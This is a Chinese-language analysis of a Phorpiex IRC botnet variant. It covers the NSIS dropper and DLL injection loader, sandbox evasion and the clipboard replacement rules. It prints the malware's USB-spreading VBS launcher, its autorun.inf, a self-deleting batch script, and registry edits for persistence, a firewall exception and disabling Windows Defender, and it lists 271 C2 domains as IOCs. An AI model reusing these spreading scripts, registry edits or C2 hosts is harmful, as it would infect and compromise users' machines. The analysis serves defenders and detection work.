一例Phorpiex僵尸网络变种的分析
概述
这是一例Phorpiex僵尸网络变种,通过NSIS打包,加载恶意dll(Flaminius.dll),读取dat文件(Preoral.dat),在内存解密并解压缩出一个Pe,创建同名傀儡进程并注入。通过可移动存储介质传播,通过IRC协议连接C2服务器,内嵌了271个c2地址,会检测沙箱,替换系统剪贴板内容。
样本的基本信息
文件大小: 126 KB (129,638 字节)
MD5: 9365b48827f3cb8197a848b5541e44dc
SHA1: 8ab949370c6ccff66610da3dbddafc828b12e3e7
SHA256: 0d3313a93ddc742908a4b2396ebfe1e080ef9c31d759fa552842aae9b4dbafe7
PE32安装程序: Nullsoft Scriptable Install System(3.0b1)[lzma,solid]链接程序: Microsoft Linker(6.0*)[GUI32]附加: Binary数据: NSIS data
是一个nsis打包的自解压程序,使用7zip 15.05 解压后如下,有3个目录
│ [NSIS].nsi
│
├─$PLUGINSDIR
│ InstallOptions.dll
│ ioSpecial.ini
│ modern-header.bmp
│ modern-wizard.bmp
│ System.dll
│
├─$TEMP
│ Flaminius.dll
│ Preoral.dat
│
└─$_4_└─$_4_Uninstall.exe
[NSIS].nsi脚本中有一段,说明程序的入口在Flaminius.dll。
SetOutPath $TEMPFile Preoral.datFile Flaminius.dllSystem::Call Flaminius::Ninth
重点分析这个Flaminius.dll
第二阶段 加载器 Flaminius.dll
样本的基本信息
Flaminius.dll:
Verified: Unsigned
Link date: 12:27 2016/9/2
Publisher: n/a
Company: Adobe Systems Incorporated
Description: Adobe Setup
Product: Adobe Setup
Prod version: 8,0,0,15
File version: 8,0,0,15
MachineType: 32-bit
MD5: 12DD13145E30FD83685161905E9A22B1
SHA1: 8822796E570D9D002A04610362A787CF410A3ACDPE32编译器: EP:Microsoft Visual C/C++(6.0 (1720-8966))[DLL32]编译器: Microsoft Visual C/C++(6.0)[msvcrt]链接程序: Microsoft Linker(6.0*)[DLL32]Preoral.dat:
Verified: Unsigned
File date: 21:18 2017/11/20
MD5: 85F94AE59CC3C63B1FA621BBF7723F44
SHA1: 80B56BD65AEF79CAB4DE4E0C57BAC4BF0921F872
Flaminius.dll读取Preoral.dat的内容,在内存中解密,调用RtlDecompressBuffer函数解压后是一个pe,创建一个同名的傀儡进程,将这个pe注入其中。
使用OD动态调试,将这个pe dump出来分析。这个样本静态分析不太容易,其几乎所有的api都动态获取的。

第三阶段 解密解压后的pe
这个pe是病毒的主体,主要功能都在里头。
样本的基本信息
Verified: Unsigned
Link date: 5:35 2017/11/19
MachineType: 32-bit
文件大小: 33.0 KB (33,792 字节 0x8400)
MD5: 35FFA90B7F75D4DB208436994BED3D3E
SHA1: 4BC8D1A3C0AD50FA3F07C86428F3CD33FCB7EC53
PE32编译器: EP:Microsoft Visual C/C++(6.0 (1720-9782))[EXE32]编译器: Microsoft Visual C/C++(2008 SP1)[msvcrt]链接程序: Microsoft Linker(9.0)[GUI32]
path:Cqoifh oiqhof qhoif oif8z8whfwh 8fho ehfoq hof hehue hb
使用IDA打开很容易分析明白。
首先检测当前环境是否在沙箱中。通过查询硬盘的ProductId中是否含有关键字qemu、virtual 、vmware、xen来判断当前环境是否为沙箱。

若是沙箱话,自毁并退出。自毁通过bat文件来实现,在临时目录下创建一个bat文件,文件名为10个字节的随机字符串。内容如下
:repeat
del "病毒路径"
if exist "病毒路径" goto repeat
del "C:\Users\ADMINI~1\AppData\Local\Temp\[随机10个字符].bat"
创建互斥量 t46,防双开。
删除文件 病毒路径:Zone.Identifier。(Zone.Identifier文件中的内容是一个文本文件,其中包含了有关下载文件的安全区域的信息。该信息主要用于确定下载文件的来源,并提供安全警告或限制性措施)。
首先感染系统,在系统中创建副本,路径为下面三个之一,目录M-505052074572749672056208574286582740540和winmgr.exe文件。
%windir%\M-505052074572749672056208574286582740540\winmgr.exe
%userprofile%\M-505052074572749672056208574286582740540\winmgr.exe
%temp%\M-505052074572749672056208574286582740540\winmgr.exe
修改下列注册表项
添加防火墙策略
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List]
"%windir%\M-505052074572749672056208574286582740540\winmgr.exe" = "[%windir%\M-505052074572749672056208574286582740540\winmgr.exe]:*:Enabled:Microsoft Windows Manager"
在这个配置中,该应用程序被授权通过系统防火墙。具体的配置信息如下:
- `[%windir%\M-505052074572749672056208574286582740540\winmgr.exe]` 表示应用程序的路径。
- `*:Enabled` 表示开启所有协议(TCP和UDP)的授权。
- `Microsoft Windows Manager` 是说明或备注,表示这个应用程序是"Microsoft Windows Manager"。添加开机启动项,启动项名为Microsoft Windows Manager
[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"Microsoft Windows Manager"="C:\\Windows\\M-505052074572749672056208574286582740540\\winmgr.exe"禁用windows Defind
[HKEY_LOCAL_MACHINE\SYSTEM\\CurrentControlSet\\services\\WinDefend]
"Start" = 4
首先感染系统会运行系统中的副本,然后退出当前进程。
创建三个线程,执行恶意操作。主要是感染可移动存储介质和远程驱动器、替换剪贴板中的内容、通过IRC协议连接C2执行恶意操作。

下面详细讲一下这三个线程的功能。
感染可移动存储介质
在U盘的根目录下创建了三个文件(DeviceConfigManager.vbs,autorun.inf,.lnk),一个目录(_),只有.lnk文件是显示状态,其它文件都被隐藏了。

.lnk文件如下,其图标为驱动器图标,指向同目录下的DeviceConfigManager.vbs。

DeviceConfigManager.vbs的内容如下,这是一个vbs文件,其中的变量名是随机生成的,其中还有一些混淆代码没有显示。这个vbs的功能是关闭当前窗口,并打开名为_的文件夹和_\DeviceConfigManager.exe文件。
...
Dim jllkhjaekeovdlz
Dim rhpsafddxaculbu
Dim imyhscwulsnrtpn
Set jllkhjaekeovdlz = wscript.CreateObject("WScript.Shell")
Set rhpsafddxaculbu = wscript.CreateObject("Scripting.FileSystemObject")
Set imyhscwulsnrtpn = wscript.CreateObject("Shell.Application")'向系统发送键盘命令,具体是`%{F4}`,表示按下"Alt + F4"键组合,用于关闭当前窗口。
jllkhjaekeovdlz.SendKeys "%{F4}"'若存在名为"_"的文件夹,打开该文件夹。
If rhpsafddxaculbu.FolderExists("_") Then
jllkhjaekeovdlz.Run "_"
End If'若存在名为"\DeviceConfigManager.exe"的文件,以最大化方式打开该文件
If rhpsafddxaculbu.FileExists("_\DeviceConfigManager.exe") Then
jllkhjaekeovdlz.Run "_\DeviceConfigManager.exe", 2
End If
autorun.inf文件如下,其中有混淆的部分(未显示),这是一个自动运行脚本的标准autorun.inf文件,内容如下,这个autorun.inf文件的作用是在U盘插入计算机时自动运行U盘根目录下的"_\DeviceConfigManager.exe"文件,并设置U盘的图标为系统SHELL32.dll文件的第4个图标(文件夹图标)。同时启用了AutoPlay功能,用于实现病毒的自启动。
[autorun]
icon=%SystemRoot%\system32\SHELL32.dll,4
open=_\DeviceConfigManager.exe
UseAutoPlay=1
目录_下的为病毒的副本(DeviceConfigManager.exe)和原来U盘内的文件。

替换剪贴板的内容
根据以下规则替换系统剪贴板的文本内容
- 首字母在为这些字母
13B2XDE0L4PARrtz之一 - 首字母为4或2,若长度为在90和115之间
- 首字母不是4或2,若长度在25到45之间
- 不含有O、I、l三个字符
- 只含有字母和数字字符
若满足上面的条件,根据下面的规则替剪贴板中的内容。不知道其作用是啥。

连接C2地址
样本中内嵌了1个c2 IP和270个c2域名,见IOC部分。
会依次连接这些c2,若找到可用的c2地址后,使用IRC协议与C2通信,支持的IRC命令有PING、PONG、USER JOIN、NICK、PRIVMSG。

主要的功能有:
- 自毁

- 获取主机信息

- 下载载荷执行,或更新自身
首先通过访问http://api.wipmania.com/来获取当前的IP地域,与命令中区域信息比对。

下载一个pe保存在临时目录下(文件名为随机的10位字符),执行。若有更新命令,退出当前进程。

IOC
hash
9365b48827f3cb8197a848b5541e44dc 原始样本
12DD13145E30FD83685161905E9A22B1 加载器Flaminius.dll
85F94AE59CC3C63B1FA621BBF7723F44 加密的载荷 Preoral.dat
35FFA90B7F75D4DB208436994BED3D3E 注入傀儡进程的部分 文件
主机中
%temp%\[随机10个字符].bat 自毁脚本
%windir%\M-505052074572749672056208574286582740540\winmgr.exe 病毒副本
%userprofile%\M-505052074572749672056208574286582740540\winmgr.exe 病毒副本
%temp%\M-505052074572749672056208574286582740540\winmgr.exe 病毒副本
%temp%\[随机10个字符].exe 下载的载荷U盘中
X:\DeviceConfigManager.vbs 启动病毒打开目录_
X:\autorun.inf 用于自启动
X:\.lnk 诱导用户点击的快捷方式
X:\_\DeviceConfigManager.exe 病毒母体互斥量 t46注册表
添加防火墙策略
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List]
"%windir%\M-505052074572749672056208574286582740540\winmgr.exe" = "[%windir%\M-505052074572749672056208574286582740540\winmgr.exe]:*:Enabled:Microsoft Windows Manager"
开机自启动
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Microsoft Windows Manager"="C:\\Windows\\M-505052074572749672056208574286582740540\\winmgr.exe"
关闭winDefind
[HKEY_LOCAL_MACHINE\SYSTEM\\CurrentControlSet\\services\\WinDefend]
"Start" = 4网络
http://api.wipmania.com/ 用于的获取当前IP地域信息
c2
220.181.87.80:5050
rohgoruhgsorhugih.ru:5050
oeihefoeaboeubfuo.ru:5050
iapghahpnpnapcipa.ru:5050
oeabocbeogoaehgoi.ru:5050
ageihehaioeoaiegj.ru:5050
eghoabeogbuaeofua.ru:5050
siiifibiiegiiciib.ru:5050
aefobfboabobfaoua.ru:5050
abvainvienvaiebai.ru:5050
goiaegodbuebieibg.ru:5050
rohgoruhgsorhugih.su:5050
oeihefoeaboeubfuo.su:5050
iapghahpnpnapcipa.su:5050
oeabocbeogoaehgoi.su:5050
ageihehaioeoaiegj.su:5050
eghoabeogbuaeofua.su:5050
siiifibiiegiiciib.su:5050
aefobfboabobfaoua.su:5050
abvainvienvaiebai.su:5050
goiaegodbuebieibg.su:5050
rohgoruhgsorhugih.ws:5050
oeihefoeaboeubfuo.ws:5050
iapghahpnpnapcipa.ws:5050
oeabocbeogoaehgoi.ws:5050
ageihehaioeoaiegj.ws:5050
eghoabeogbuaeofua.ws:5050
siiifibiiegiiciib.ws:5050
aefobfboabobfaoua.ws:5050
abvainvienvaiebai.ws:5050
goiaegodbuebieibg.ws:5050
rohgoruhgsorhugih.in:5050
oeihefoeaboeubfuo.in:5050
iapghahpnpnapcipa.in:5050
oeabocbeogoaehgoi.in:5050
ageihehaioeoaiegj.in:5050
eghoabeogbuaeofua.in:5050
siiifibiiegiiciib.in:5050
aefobfboabobfaoua.in:5050
abvainvienvaiebai.in:5050
goiaegodbuebieibg.in:5050
rohgoruhgsorhugih.kz:5050
oeihefoeaboeubfuo.kz:5050
iapghahpnpnapcipa.kz:5050
oeabocbeogoaehgoi.kz:5050
ageihehaioeoaiegj.kz:5050
eghoabeogbuaeofua.kz:5050
siiifibiiegiiciib.kz:5050
aefobfboabobfaoua.kz:5050
abvainvienvaiebai.kz:5050
goiaegodbuebieibg.kz:5050
rohgoruhgsorhugih.nl:5050
oeihefoeaboeubfuo.nl:5050
iapghahpnpnapcipa.nl:5050
oeabocbeogoaehgoi.nl:5050
ageihehaioeoaiegj.nl:5050
eghoabeogbuaeofua.nl:5050
siiifibiiegiiciib.nl:5050
aefobfboabobfaoua.nl:5050
abvainvienvaiebai.nl:5050
goiaegodbuebieibg.nl:5050
rohgoruhgsorhugih.de:5050
oeihefoeaboeubfuo.de:5050
iapghahpnpnapcipa.de:5050
oeabocbeogoaehgoi.de:5050
ageihehaioeoaiegj.de:5050
eghoabeogbuaeofua.de:5050
siiifibiiegiiciib.de:5050
aefobfboabobfaoua.de:5050
abvainvienvaiebai.de:5050
goiaegodbuebieibg.de:5050
rohgoruhgsorhugih.fr:5050
oeihefoeaboeubfuo.fr:5050
iapghahpnpnapcipa.fr:5050
oeabocbeogoaehgoi.fr:5050
ageihehaioeoaiegj.fr:5050
eghoabeogbuaeofua.fr:5050
siiifibiiegiiciib.fr:5050
aefobfboabobfaoua.fr:5050
abvainvienvaiebai.fr:5050
goiaegodbuebieibg.fr:5050
rohgoruhgsorhugih.it:5050
oeihefoeaboeubfuo.it:5050
iapghahpnpnapcipa.it:5050
oeabocbeogoaehgoi.it:5050
ageihehaioeoaiegj.it:5050
eghoabeogbuaeofua.it:5050
siiifibiiegiiciib.it:5050
aefobfboabobfaoua.it:5050
abvainvienvaiebai.it:5050
goiaegodbuebieibg.it:5050
rohgoruhgsorhugih.at:5050
oeihefoeaboeubfuo.at:5050
iapghahpnpnapcipa.at:5050
oeabocbeogoaehgoi.at:5050
ageihehaioeoaiegj.at:5050
eghoabeogbuaeofua.at:5050
siiifibiiegiiciib.at:5050
aefobfboabobfaoua.at:5050
abvainvienvaiebai.at:5050
goiaegodbuebieibg.at:5050
rohgoruhgsorhugih.ua:5050
oeihefoeaboeubfuo.ua:5050
iapghahpnpnapcipa.ua:5050
oeabocbeogoaehgoi.ua:5050
ageihehaioeoaiegj.ua:5050
eghoabeogbuaeofua.ua:5050
siiifibiiegiiciib.ua:5050
aefobfboabobfaoua.ua:5050
abvainvienvaiebai.ua:5050
goiaegodbuebieibg.ua:5050
rohgoruhgsorhugih.be:5050
oeihefoeaboeubfuo.be:5050
iapghahpnpnapcipa.be:5050
oeabocbeogoaehgoi.be:5050
ageihehaioeoaiegj.be:5050
eghoabeogbuaeofua.be:5050
siiifibiiegiiciib.be:5050
aefobfboabobfaoua.be:5050
abvainvienvaiebai.be:5050
goiaegodbuebieibg.be:5050
rohgoruhgsorhugih.hu:5050
oeihefoeaboeubfuo.hu:5050
iapghahpnpnapcipa.hu:5050
oeabocbeogoaehgoi.hu:5050
ageihehaioeoaiegj.hu:5050
eghoabeogbuaeofua.hu:5050
siiifibiiegiiciib.hu:5050
aefobfboabobfaoua.hu:5050
abvainvienvaiebai.hu:5050
goiaegodbuebieibg.hu:5050
rohgoruhgsorhugih.ir:5050
oeihefoeaboeubfuo.ir:5050
iapghahpnpnapcipa.ir:5050
oeabocbeogoaehgoi.ir:5050
ageihehaioeoaiegj.ir:5050
eghoabeogbuaeofua.ir:5050
siiifibiiegiiciib.ir:5050
aefobfboabobfaoua.ir:5050
abvainvienvaiebai.ir:5050
goiaegodbuebieibg.ir:5050
rohgoruhgsorhugih.pl:5050
oeihefoeaboeubfuo.pl:5050
iapghahpnpnapcipa.pl:5050
oeabocbeogoaehgoi.pl:5050
ageihehaioeoaiegj.pl:5050
eghoabeogbuaeofua.pl:5050
siiifibiiegiiciib.pl:5050
aefobfboabobfaoua.pl:5050
abvainvienvaiebai.pl:5050
goiaegodbuebieibg.pl:5050
rohgoruhgsorhugih.es:5050
oeihefoeaboeubfuo.es:5050
iapghahpnpnapcipa.es:5050
oeabocbeogoaehgoi.es:5050
ageihehaioeoaiegj.es:5050
eghoabeogbuaeofua.es:5050
siiifibiiegiiciib.es:5050
aefobfboabobfaoua.es:5050
abvainvienvaiebai.es:5050
goiaegodbuebieibg.es:5050
rohgoruhgsorhugih.ro:5050
oeihefoeaboeubfuo.ro:5050
iapghahpnpnapcipa.ro:5050
oeabocbeogoaehgoi.ro:5050
ageihehaioeoaiegj.ro:5050
eghoabeogbuaeofua.ro:5050
siiifibiiegiiciib.ro:5050
aefobfboabobfaoua.ro:5050
abvainvienvaiebai.ro:5050
goiaegodbuebieibg.ro:5050
rohgoruhgsorhugih.lu:5050
oeihefoeaboeubfuo.lu:5050
iapghahpnpnapcipa.lu:5050
oeabocbeogoaehgoi.lu:5050
ageihehaioeoaiegj.lu:5050
eghoabeogbuaeofua.lu:5050
siiifibiiegiiciib.lu:5050
aefobfboabobfaoua.lu:5050
abvainvienvaiebai.lu:5050
goiaegodbuebieibg.lu:5050
rohgoruhgsorhugih.gr:5050
oeihefoeaboeubfuo.gr:5050
iapghahpnpnapcipa.gr:5050
oeabocbeogoaehgoi.gr:5050
ageihehaioeoaiegj.gr:5050
eghoabeogbuaeofua.gr:5050
siiifibiiegiiciib.gr:5050
aefobfboabobfaoua.gr:5050
abvainvienvaiebai.gr:5050
goiaegodbuebieibg.gr:5050
rohgoruhgsorhugih.md:5050
oeihefoeaboeubfuo.md:5050
iapghahpnpnapcipa.md:5050
oeabocbeogoaehgoi.md:5050
ageihehaioeoaiegj.md:5050
eghoabeogbuaeofua.md:5050
siiifibiiegiiciib.md:5050
aefobfboabobfaoua.md:5050
abvainvienvaiebai.md:5050
goiaegodbuebieibg.md:5050
rohgoruhgsorhugih.br:5050
oeihefoeaboeubfuo.br:5050
iapghahpnpnapcipa.br:5050
oeabocbeogoaehgoi.br:5050
ageihehaioeoaiegj.br:5050
eghoabeogbuaeofua.br:5050
siiifibiiegiiciib.br:5050
aefobfboabobfaoua.br:5050
abvainvienvaiebai.br:5050
goiaegodbuebieibg.br:5050
rohgoruhgsorhugih.net:5050
oeihefoeaboeubfuo.net:5050
iapghahpnpnapcipa.net:5050
oeabocbeogoaehgoi.net:5050
ageihehaioeoaiegj.net:5050
eghoabeogbuaeofua.net:5050
siiifibiiegiiciib.net:5050
aefobfboabobfaoua.net:5050
abvainvienvaiebai.net:5050
goiaegodbuebieibg.net:5050
rohgoruhgsorhugih.org:5050
oeihefoeaboeubfuo.org:5050
iapghahpnpnapcipa.org:5050
oeabocbeogoaehgoi.org:5050
ageihehaioeoaiegj.org:5050
eghoabeogbuaeofua.org:5050
siiifibiiegiiciib.org:5050
aefobfboabobfaoua.org:5050
abvainvienvaiebai.org:5050
goiaegodbuebieibg.org:5050
rohgoruhgsorhugih.com:5050
oeihefoeaboeubfuo.com:5050
iapghahpnpnapcipa.com:5050
oeabocbeogoaehgoi.com:5050
ageihehaioeoaiegj.com:5050
eghoabeogbuaeofua.com:5050
siiifibiiegiiciib.com:5050
aefobfboabobfaoua.com:5050
abvainvienvaiebai.com:5050
goiaegodbuebieibg.com:5050
rohgoruhgsorhugih.name:5050
oeihefoeaboeubfuo.name:5050
iapghahpnpnapcipa.name:5050
oeabocbeogoaehgoi.name:5050
ageihehaioeoaiegj.name:5050
eghoabeogbuaeofua.name:5050
siiifibiiegiiciib.name:5050
aefobfboabobfaoua.name:5050
abvainvienvaiebai.name:5050
goiaegodbuebieibg.name:5050
rohgoruhgsorhugih.info:5050
oeihefoeaboeubfuo.info:5050
iapghahpnpnapcipa.info:5050
oeabocbeogoaehgoi.info:5050
ageihehaioeoaiegj.info:5050
eghoabeogbuaeofua.info:5050
siiifibiiegiiciib.info:5050
aefobfboabobfaoua.info:5050
abvainvienvaiebai.info:5050
goiaegodbuebieibg.info:5050
rohgoruhgsorhugih.mobi:5050
oeihefoeaboeubfuo.mobi:5050
iapghahpnpnapcipa.mobi:5050
oeabocbeogoaehgoi.mobi:5050
ageihehaioeoaiegj.mobi:5050
eghoabeogbuaeofua.mobi:5050
siiifibiiegiiciib.mobi:5050
aefobfboabobfaoua.mobi:5050
abvainvienvaiebai.mobi:5050
goiaegodbuebieibg.mobi:5050
总结
这个样本使用了侧加载的技术,核心模块不落地,有检测沙箱的功能,通过IRC协议请求命令,很有代表性。
参考资料
-
NSIS 脚本提取教程 - 哔哩哔哩 (bilibili.com)
-
2018年还有哪些通过U盘传播的病毒? - 知乎 (zhihu.com)
-
Phorpiex - An IRC worm - Full reversal for the fun of it (bin.re)
-
irc使用教程 - zqifa - 博客园 (cnblogs.com)
-
IRC(Internet Relay Chat)(因特网中继聊天)协议——RFC1459文档要点总结 - 知乎 (zhihu.com)
-
RFC 1459 - Internet Relay Chat Protocol (RFC1459) (faqs.org)
相关文章:
一例Phorpiex僵尸网络变种的分析
概述 这是一例Phorpiex僵尸网络变种,通过NSIS打包,加载恶意dll(Flaminius.dll),读取dat文件(Preoral.dat),在内存解密并解压缩出一个Pe,创建同名傀儡进程并注入。通过可移动存储介质传播&#…...
PDF文件转换为CAD的方法
有时候我们收到一个PDF格式的设计图纸,但还需要进行编辑或修改时,就必须先将PDF文件转换回CAD格式。分享两个将PDF转换回CAD的方法,一个用到在线网站,一个用到PC软件,大家根据情况选择就可以了。 ☞在线CAD网站转换 …...
Java为什么会成为现在主流的编程语言
Java为什么会成为现在的主流语言 前言一、Java语言概述Java是什么为什么大多数人会选择从事Java为什么从事Java的工作者数量从年递减 二、Java语言的特点简单性面向对象分布式(微服务)健壮性安全性体系结构中立可移植性解释型高性能多线程动态性 三、Jav…...
动手学深度学习16 Pytorch神经网络基础
动手学深度学习16 Pytorch神经网络基础 1. 模型构造2. 参数管理1. state_dict()2. normal_() zeros_()3. xavier初始化共享参数的好处 3. 自定义层4. 读写文件net.eval() 评估模式 QA 1. 模型构造 定义隐藏层–模型结构定义前向函数–模型结构的调用 import torch from torch…...
前端无样式id或者class等来定位标签
目录: 1、使用背景2、代码处理 1、使用背景 客户使用我们产品组件,发现替换文件,每次替换都会新增如下的样式,造就样式错乱,是组件的文件,目前临时处理的话就是替换文件时删除新增的样式,但是发…...
机器人工具箱学习(三)
一、动力学方程 机器人的动力学公式描述如下: 式中, τ \boldsymbol{\tau} τ表示关节驱动力矩矢量; q , q ˙ , q \boldsymbol{q} ,\; \dot{\boldsymbol { q }} ,\; \ddot{\boldsymbol { q }} q,q˙,q分别为广义的关节位置、速度和加速…...
华为OD机试 - CPU算力分配(Java 2024 C卷 100分)
华为OD机试 2024C卷题库疯狂收录中,刷题点这里 专栏导读 本专栏收录于《华为OD机试(JAVA)真题(A卷B卷C卷)》。 刷的越多,抽中的概率越大,每一题都有详细的答题思路、详细的代码注释、样例测试…...
web前端框架设计第八课-表单控件绑定
web前端框架设计第八课-表单控件绑定 一.预习笔记 1.v-model实现表单数据双向绑定 2.搜索数据的实现 3.全选案例实现1—JQ方法 4.单选案例实现 5.数据级联(二级级联) 6.v-model中的修饰符 二.课堂笔记 三.课后回顾 –行动是治愈恐惧的良药,…...
这三个网站我愿称之为制作答辩PPT的神
很多快要毕业的同学在做答辩PPT的时候总是感觉毫无思路,一窍不通。但这并不是你们的错,对于平时没接触过相关方面,第一次搞答辩PPT的人来说,这是很正常的一件事。一个好的答辩PPT可以根据以下分为以下几部分来写。 1.研究的背景和…...
flutter开发实战-实现多渠道打包及友盟统计(亲测有效)
flutter开发实战-实现多渠道打包及友盟统计(亲测有效) 最近开发过程中,需要引入友盟进行统计服务。友盟统计还需要区分不同渠道的打开应用的情况,所以需要处理多渠道打包的问题。 一、引入友盟统计 在工程的pubspec.yaml中引入…...
JavaScript-JSON对象
JSON格式 JSON(JavaScript Object Notation, JS对象简谱)是一种轻量级的数据交换格式。它基于ECMAScript(European Computer Manufacturers Association, 欧洲计算机协会的一个子集,采用完全独立于编程语言的文本格式来存储和表示…...
【C语言】自定义类型之---结构体超详解(结构体的定义使用、指针结构体,内存对齐,......代码详解)
目录 前言: 一:结构体 1.1:什么是结构体? 1.2:结构体类型的声明 1.3:结构体变量的定义 1.4:结构体的内存对齐 1.5:结构体传参 二:位段 2.1:位段是什…...
【完美恢复】修复计算机中丢失emp.dll的多个详细方法
最近,在尝试运行某款游戏时,我遭遇了一个令人头痛的问题——“emp.dll文件丢失”。这个错误通常意味着游戏的某个关键文件没有被正确加载或已损坏。以下是我解决问题的步骤和一些心得体会,希望对遇到类似问题的玩家们有所帮助。 emp.dll是一…...
暗黑4可以搬砖吗?暗黑4怎么搬砖 搬砖攻略
暗黑4可以搬砖吗?暗黑4怎么搬砖 搬砖攻略 暗黑破坏神4属于是暴雪旗下一款经典游戏IP,在全世界有着广泛的玩家群体,更是在今年暴雪国服宣布回归之后,吸引了一大批新玩家加入。今天小编就为大家带来暗黑4的详细搬砖教程。 现在我们…...
WLAN技术
冲突域:连接在同一传输线缆上的所有工作站的集合,或者说是同一物理网段上所有节点的集合共同竞争网络资源形成的域叫冲突域。 在OSI模型中,冲突域被看作是第一层的概念,连接同一冲突域的设备有中继器、集线器(hub&…...
维修AB罗克韦尔工控机 PanelView 900 2711-T9C8 SER C 触摸屏人机界面
可视化和 HMI 解决方案可帮助您满足生产力、创新和全球化需求。为电子操作员界面终端、分布式客户端/服务器 HMI 和信息软件提供了一致的外观和感觉。编程工具和高级软件应用程序包括远程访问和数据分析,可加速开发并提高效率。 图形终端 图形终端提供各种尺寸、操…...
334_C++_std::bind中使用shared_from_this()
std::bind(&HttpClient::getPwd, shared_from_this(), std::placeholders::_1, std::placeholders::_2);[ HttpClient继承自NetObj,NetObj是父类,NetObj受到std::shared_pt...
【Python】防御性编程入门
1. 前言 防御性编程指的是为了防止代码泄露后被竞品公司窃取技术,使用一种较高级的明文加密编程方式。也可以当做一种带解密性质的时间胶囊,锻炼程序员自己的记忆能力、读代码能力等。 2. 案例分析 2.1 import Import里面可以多取一些喜欢的名字&#…...
无线麦克风哪个品牌音质最好?热门无线麦克风品牌推荐
这段时间短视频行业兴起,很多人都开始尝试步入自媒体,不过想要自己的视频内容更出色、更吸引人,好的音频设备肯定是必不可少的,而麦克风就是其中的一种。麦克风的好坏也将决定了一个视频的质量与完整性等等,如果我们作…...
粒子奇观:用Processing创造宇宙级的动态效果
前言: 👋 今天,我们将一起探索宇宙的奥秘,不是在星空下,而是在Processing的代码世界中。这是我们的第八篇文章,我们将深入粒子系统的神奇领域,学习如何创造出令人惊叹的动态效果。 粒子系统:构建动态世界的基石 🔨 粒子系统是计算机图形学中用于模拟复杂自然现象…...
XCTF-web-easyupload
试了试php,php7,pht,phtml等,都没有用 尝试.user.ini 抓包修改将.user.ini修改为jpg图片 在上传一个123.jpg 用蚁剑连接,得到flag...
rknn优化教程(二)
文章目录 1. 前述2. 三方库的封装2.1 xrepo中的库2.2 xrepo之外的库2.2.1 opencv2.2.2 rknnrt2.2.3 spdlog 3. rknn_engine库 1. 前述 OK,开始写第二篇的内容了。这篇博客主要能写一下: 如何给一些三方库按照xmake方式进行封装,供调用如何按…...
React Native 开发环境搭建(全平台详解)
React Native 开发环境搭建(全平台详解) 在开始使用 React Native 开发移动应用之前,正确设置开发环境是至关重要的一步。本文将为你提供一份全面的指南,涵盖 macOS 和 Windows 平台的配置步骤,如何在 Android 和 iOS…...
渗透实战PortSwigger靶场-XSS Lab 14:大多数标签和属性被阻止
<script>标签被拦截 我们需要把全部可用的 tag 和 event 进行暴力破解 XSS cheat sheet: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 通过爆破发现body可以用 再把全部 events 放进去爆破 这些 event 全部可用 <body onres…...
【SQL学习笔记1】增删改查+多表连接全解析(内附SQL免费在线练习工具)
可以使用Sqliteviz这个网站免费编写sql语句,它能够让用户直接在浏览器内练习SQL的语法,不需要安装任何软件。 链接如下: sqliteviz 注意: 在转写SQL语法时,关键字之间有一个特定的顺序,这个顺序会影响到…...
Qt Http Server模块功能及架构
Qt Http Server 是 Qt 6.0 中引入的一个新模块,它提供了一个轻量级的 HTTP 服务器实现,主要用于构建基于 HTTP 的应用程序和服务。 功能介绍: 主要功能 HTTP服务器功能: 支持 HTTP/1.1 协议 简单的请求/响应处理模型 支持 GET…...
【决胜公务员考试】求职OMG——见面课测验1
2025最新版!!!6.8截至答题,大家注意呀! 博主码字不易点个关注吧,祝期末顺利~~ 1.单选题(2分) 下列说法错误的是:( B ) A.选调生属于公务员系统 B.公务员属于事业编 C.选调生有基层锻炼的要求 D…...
土地利用/土地覆盖遥感解译与基于CLUE模型未来变化情景预测;从基础到高级,涵盖ArcGIS数据处理、ENVI遥感解译与CLUE模型情景模拟等
🔍 土地利用/土地覆盖数据是生态、环境和气象等诸多领域模型的关键输入参数。通过遥感影像解译技术,可以精准获取历史或当前任何一个区域的土地利用/土地覆盖情况。这些数据不仅能够用于评估区域生态环境的变化趋势,还能有效评价重大生态工程…...
NFT模式:数字资产确权与链游经济系统构建
NFT模式:数字资产确权与链游经济系统构建 ——从技术架构到可持续生态的范式革命 一、确权技术革新:构建可信数字资产基石 1. 区块链底层架构的进化 跨链互操作协议:基于LayerZero协议实现以太坊、Solana等公链资产互通,通过零知…...
深入解析C++中的extern关键字:跨文件共享变量与函数的终极指南
🚀 C extern 关键字深度解析:跨文件编程的终极指南 📅 更新时间:2025年6月5日 🏷️ 标签:C | extern关键字 | 多文件编程 | 链接与声明 | 现代C 文章目录 前言🔥一、extern 是什么?&…...
